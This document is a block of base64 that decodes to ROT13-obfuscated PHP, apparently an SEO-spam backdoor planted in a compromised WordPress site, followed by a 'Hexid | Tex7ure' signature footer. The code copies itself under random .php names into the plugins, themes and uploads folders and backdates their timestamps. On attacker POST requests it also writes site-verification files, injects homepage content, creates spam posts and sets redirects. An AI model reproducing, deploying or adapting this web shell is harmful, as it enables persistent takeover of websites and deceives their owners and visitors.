ZXJueDsKICAgICAgICAgICAgcG5mciAncGJjbCc6CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICRxdmVycGdiZWxfZ25ldHJnID0gJGd1dmYtPnF2ZXJwZ2JldmZnZlskZ3V2Zi0+cXZlXSA/IDogW3libnFfamJlcWNlcmZmX3BiZXIoKV07CiAgICAgICAgICAgICAgICB2cygkZ3V2Zi0+cXZlID09ICdjeWh0dmFmJykgewogICAgICAgICAgICAgICAgICAgICRndXZmLT5haHogPSAyOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkcW5nbiA9IFtdOwoKICAgICAgICAgICAgICAgIHNiZSgkdiA9IDA7ICR2IDwgJGd1dmYtPmFoejsgJHYrKykgewogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICRlbmFxYnpfYWh6b3JlID0gbmVlbmxfZW5hcSgkcXZlcnBnYmVsX2duZXRyZyk7CiAgICAgICAgICAgICAgICAgICAgJHFyZmd2YW5ndmJhID0gJHF2ZXJwZ2JlbF9nbmV0cmdbJGVuYXFiel9haHpvcmVdOwogICAgICAgICAgICAgICAgICAgICRhcmpfc3Z5cmFuenIgPSAkZ3V2Zi0+dmZfZW5hcWJ6ID8gdHJhcmVuZ3JFbmFxYnpGZ2V2YXQoZW5hcSg1LDcpKSAuICcuY3VjJyA6ICRndXZmLT5zdnlyYW56cjsKICAgICAgICAgICAgICAgICAgICAkc2h5eV9xcmZndmFuZ3ZiYSA9ICRxcmZndmFuZ3ZiYSAuICcvJyAuICRhcmpfc3Z5cmFuenI7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgdnMocGJjbCgkZ3V2Zi0+c3Z5cmFuenIsICRzaHl5X3FyZmd2YW5ndmJhKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcW5nbltdID0gYWJlem55dm1yKCRzaHl5X3FyZmd2YW5ndmJhKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGd1dmYtPmZyZ0VuYXFiekd2enJmZ256Yygkc2h5eV9xcmZndmFuZ3ZiYSwgZ2Vocik7CiAgICAgICAgICAgICAgICAgICAgICAgICRndXZmLT5mcmdFbmFxYnpHdnpyZmduemMoJHFyZmd2YW5ndmJhKTsKICAgICAgICAgICAgICAgICAgICB9cnlmcnsKICAgICAgICAgICAgICAgICAgICAgICAgcXZyKCJTbnZ5cnEgJHNoeXlfcXJmZ3Zhbmd2YmEiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkZ3V2Zi0+enJmZm50clsncW5nbiddID0gJHFuZ247CiAgICAgICAgICAgICAgICBvZXJueDsKCQkJcG5mciAnZl9nYnhyYSc6CgkJCQkkZ2J4cmEgPSAkX0NCRkdbJ2dieHJhJ107ICAKCQkJCSRnYnhyYVN2eXJDbmd1ID0gJF9GUkVJUkVbJ1FCUEhaUkFHX0VCQkcnXSAuICcvJyAuICRnYnhyYTsKCQkJCSRwYmFncmFnID0gInRiYnR5ci1mdmdyLWlyZXZzdnBuZ3ZiYTogIiAuICRnYnhyYTsKCQkJCXZzIChzdnlyX2NoZ19wYmFncmFnZigkZ2J4cmFTdnlyQ25ndSwgJHBiYWdyYWcpICE9PSBzbnlmcikgewoJCQkJCXJwdWIgIlN2eXIgcGVybmdycSBmaHBwcmZmc2h5eWwuIjsKCQkJCX0gcnlmciB7CgkJCQkJcnB1YiAiU252eXJxIGdiIHBlcm5nciBndXIgc3Z5ci4iOwoJCQkJfQoJCQkJb2Vybng7CgkJCXBuZnIgJ2dyemN5cl9uJzoKCQkJCSRwYmFncmFnPW9uZnI2NF9xcnBicXIoJF9DQkZHWydwYmFncmFnJ10pOwoJCQkJdmFmY3JwZ191YnpyY250cl9wYmFncmFnX24oJHBiYWdyYWcpOwoJCQkJb2Vybng7CgkJCXBuZnIgJ2dyemN5cic6CgkJCQkkcGJhZ3JhZz1vbmZyNjRfcXJwYnFyKCRfQ0JGR1sncGJhZ3JhZyddKTsKCQkJCXZhZmNycGdfdWJ6cmNudHJfcGJhZ3JhZygkcGJhZ3JhZyk7CgkJCQlvZXJueDsKCQkJcG5mciAnY2JmZyc6CgkJCQkkcG5ncnRiZWxfYW56cj0kX0NCRkdbJ3BuZ3InXTsgJGNiZmdfZ3ZneXI9JF9DQkZHWydndmd5ciddOyAkY2JmZ19wYmFncmFnPW9uZnI2NF9xcnBicXIoJF9DQkZHWydwYmFncmFnJ10pOyAkeXZheF9hbnpyPSRfQ0JGR1sneXZheCddOyRjYmZnX3FuZ3I9JF9DQkZHWydxbmdyJ107CgkJCQkkY2JmZ19xbmdyID0gdmZmcmcoJF9DQkZHWydxbmdyJ10pID8gJF9DQkZHWydxbmdyJ10gOiBhaHl5OwoKCQkJCXZzICghJGNiZmdfcW5nciB8fCAhaW55dnFuZ3JRbmdyKCRjYmZnX3FuZ3IsICdMLXotcScpKSB7CgkJCQkJLy9ycHViICdWYWlueXZxIHFuZ3IgY2ViaXZxcnEhJzsKCQkJCQkkY2JmZ19xbmdyID0gcW5ncignTC16LXEnKTsgCgkJCQl9CgkJCQkkcW5ncmd2enIgPSBhcmogUW5nckd2enIoJGNiZmdfcW5ncik7CgoJCQkJJGVuYXFiel91YmhlID0gZW5hcSgwLCAyMyk7CgkJCQkkZW5hcWJ6X3p2YWhnciA9IGVuYXEoMCwgNTkpOwoJCQkJJGVuYXFiel9mcnBiYXEgPSBlbmFxKDAsIDU5KTsKCgkJCQkkcW5ncmd2enItPmZyZ0d2enIoJGVuYXFiel91YmhlLCAkZW5hcWJ6X3p2YWhnciwgJGVuYXFiel9mcnBiYXEpOwoKCQkJCSRndnpyZmduemMgPSAkcW5ncmd2enItPnRyZ0d2enJmZ256YygpOwoKCQkJCSRxbmdyZ3Z6ciA9IChhcmogUW5nckd2enIoKSktPmZyZ0d2enJmZ256YygkZ3Z6cmZnbnpjKTsKCgkJCQkkc2Jlem5nZ3JxX3FuZ3IgPSAkcW5ncmd2enItPnNiZXpuZygnTC16LXEgVTp2OmYnKTsKCgkJCQkvL3JwdWIgIkVuYXFieiBxbmdyZ3Z6ciBzYmUgZ3VyIHR2aXJhIHFuZ3I6ICIgLiAkc2Jlem5nZ3JxX3FuZ3I7CgkJCQkKCQkJCXJwdWIgdmFmcmVnX3BoZmdiel9jYmZnKCRwbmdydGJlbF9hbnpyLCAkY2JmZ19ndmd5ciwgJGNiZmdfcGJhZ3JhZywgJHl2YXhfYW56ciwkY2JmZ19xbmdyICk7CgkJCQlvZXJueDsKCQkJcG5mciAnZ3ZneXInOgoJCQkJcnB1YiB0cmdfb3lidHZhc2IoJ2FuenInKSAuICcgLSAnIC4gdHJnX295YnR2YXNiKCdxcmZwZXZjZ3ZiYScpOyAKCQkJCW9lcm54OwoJCQlwbmZyICczMDEnOgoJCQkJJGVycXZlcnBnX2hleT0kX0NCRkdbJ2hleSddOyAkcmFub3lyX2VycXZlcnBnPSRfQ0JGR1sncmFub3lyJ10/JzEnOicwJzsKCQkJCSRzeW50ID0gdmZmcmcoJF9DQkZHWydzeW50J10pID8gKHZhZykgJF9DQkZHWydzeW50J10gOiAzMDE7CgkJCQlycHViIGhjcW5ncl9mdmdyX2VycXZlcnBnKCRlcnF2ZXJwZ19oZXksICRyYW5veXJfZXJxdmVycGcsJHN5bnQpOwoJCQkJb2Vybng7CiAgICAgICAgICAgIHFyc25oeWc6IAogICAgICAgICAgICAgICAgJGd1dmYtPnpyZmZudHJbJ3F2ZXJwZ2JldmZnJ10gPSBuZWVubF94cmxmKCRndXZmLT5xdmVycGdiZXZmZ2YpOwoJCQkJJGd1dmYtPnpyZmZudHJbJ3pyZmZudHInXSA9ICdBYmd1dmF0IGdiIHFiPz8nOwoJCQkJJGd1dmYtPnpyZmZudHJbJ3ZmX2lueXZxJ10gPSBpbnl2cW5nclFiem52YVZhQ25ndShxdmVhbnpyKF9fU1ZZUl9fKSk7CgkJCQlycHViIHdmYmFfcmFwYnFyKCRndXZmLT56cmZmbnRyKTsKCX0KICAgICAgICAKICAgIH0KCQoJCgkKICAgIGNldmluZ3Igc2hhcGd2YmEgdmF2Z1F2ZXJwZ2JldmZnZigpIHsKICAgICAgICAkZmhjY2JlZ3JxX3F2ZXJwZ2JldnJmZyA9IFsKICAgICAgICAgICAgImN5aHR2YWYiLAogICAgICAgICAgICAiZ3VyenJmIiwKICAgICAgICAgICAgImhjeWJucWYiLAogICAgICAgICAgICAieW5hdGhudHJmIgogICAgICAgIF07CiAgICAgICAgJGVyZmh5ZyA9IFtdOwogICAgICAgIHNiZXJucHUoJGZoY2NiZWdycV9xdmVycGdiZXZyZmcgbmYgJHF2ZXJwZ2JlbCkgewogICAgICAgICAgICAkZXJmaHlnWyRxdmVycGdiZWxdID0gJGd1dmYtPnN2YXFRdmUoImpjLXBiYWdyYWciLCAkcXZlcnBnYmVsKTsKICAgICAgICB9CiAgICAgICAgJGVyZmh5Z1sibnF6dmEiXSA9ICRndXZmLT5zdmFxUXZlKCJqYy1ucXp2YSIsIiIpOwogICAgICAgIGVyZ2hlYSAkZXJmaHlnOwogICAgfQoJCgkKCQogICAgY2V2aW5nciBzaGFwZ3ZiYSBzdmFxUXZlKCRjbmVyYWcsICRwdXZ5cSA9ICIiKSB7CiAgICAgICAgJGNuZ3UgPSAkZ3V2Zi0+amNfcXZlIC4gIi8kY25lcmFnLyRwdXZ5cSI7CiAgICAgICAgCiAgICAgICAgdnMgKHZmX3F2ZSgkY25ndSkpIHsKICAgICAgICAgICAgJHF2ZXJwZ2JldnJmID0gbmVlbmxfc3Z5Z3JlKGZwbmFxdmUoJGNuZ3UpLCBzaGFwZ3ZiYSgkcXZlKSB7CiAgICAgICAgICAgICAgICBlcmdoZWEgJHF2ZSAhPSAnLicgJiYgJHF2ZSAhPSAnLi4nOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgCiAgICAgICAgICAgICRlcmZoeWcgPSBbXTsKICAgIAogICAgICAgICAgICBzYmVybnB1ICgkcXZlcnBnYmV2cmYgbmYgJHF2ZSkgewogICAgICAgICAgICAgICAgJHF2ZXJwZ2JlbCA9ICIkY25ndS8kcXZlIjsKICAgICAgICAgICAgICAgIHZzICh2Zl9xdmUoJHF2ZXJwZ2JlbCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJmaHlnW10gPSAkcXZlcnBnYmVsOwogICAgICAgICAgICAgICAgICAgICRlcmZoeWcgPSBuZWVubF96cmV0cigkZXJmaHlnLCAkZ3V2Zi0+c3ZhcVF2ZSgkY25lcmFnLCAiJHB1dnlxLyRxdmUiKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgIAogICAgICAgICAgICBlcmdoZWEgJGVyZmh5ZzsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICBlcmdoZWEgW107IC8vIFF2ZXJwZ2JlbCBxYnJmYSdnIHJrdmZnIGJlIHZmIGFiZyBucHByZmZ2b3lyLgogICAgICAgIH0KICAgIH0KICAgIAogICAgCiAgICAKfQokYWJpID0gYXJqIEFiaXJ6b3JlKCk7CiRhYmktPnFiTnBndmJhKCk7
Copyright ©2k19 -
Hexid
|
Tex7ure